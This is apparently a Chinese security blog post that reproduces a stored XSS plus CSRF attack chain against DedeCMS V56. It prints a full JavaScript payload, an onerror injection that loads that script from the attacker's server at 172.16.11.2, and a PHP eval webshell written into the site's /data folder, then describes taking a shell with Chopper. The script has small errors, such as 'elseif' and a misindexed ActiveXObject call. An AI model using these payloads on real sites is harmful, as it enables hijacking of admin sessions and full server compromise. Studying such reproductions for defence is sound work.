织梦XSS+CSRF复现

0x01 前期测试

本次织梦的版本是V56_UTF8

我们先创建一个账号test,开始在内容中心写文章

然后我们在所有输入框,插入<img src=1 onerror=alert(0) />,输入验证码后发表

预览文章发现并没有弹窗。

可是我发现在预览文章页面有评论框,那么我们试试评论

发现可以成功

0x02 正式开始

csrf+xss攻击链:在文章区or评论区留下存储型xss,当管理员审核的时候,该xss将在管理员访问的HTML页面新建一个<script>标签,将其src指向我们服务器上的xss.js文件,也就是把xss.js包含进来,而xss.js的效果是在/data目录中建立一个test.php文件(小马)。

于是我们开始配置服务器上的xss.js文件,即将xss.js放在phpstudy的WWW文件夹下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var request = false;
if (window.XMLHttpRequest) {
request = new XMLHttpRequest();
if (request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
elseif(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for (var i = 0; i < versions.length; i++) {
try {
request = new ActiveXObject(versions);
} catch (e) {}
}
}
xmlhttp = request;

function getFolder(url) {
obj = url.split('/')
return obj[obj.length - 2]
}
oUrl = top.location.href;
u = getFolder(oUrl);
add_admin();

function add_admin() {
var url = "/" + u + "/sys_sql_query.php";
var params = "fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "Keep-Alive");
xmlhttp.send(params);
}

我们在评论处插入

1
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//172.16.11.2/xss.js'>

登上管理员账号,审核普通文章,预览文章

因为代码中是将文件写入data文件夹,so查看一下data(模块->文件管理器->data)

上菜刀,拿shell

  • 第一种方法没走通,我选择了第二种,后来才发现在文章中插入xss是需要在富文本编辑器中使用源代码编辑方式,学到了。

0x03 反思与总结

  1. 碰见要cms先提炼关键词搜索,做好信息搜集工作,尤其是开源项目
  2. 不要一味测试,更要研究学习透背后的原理

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!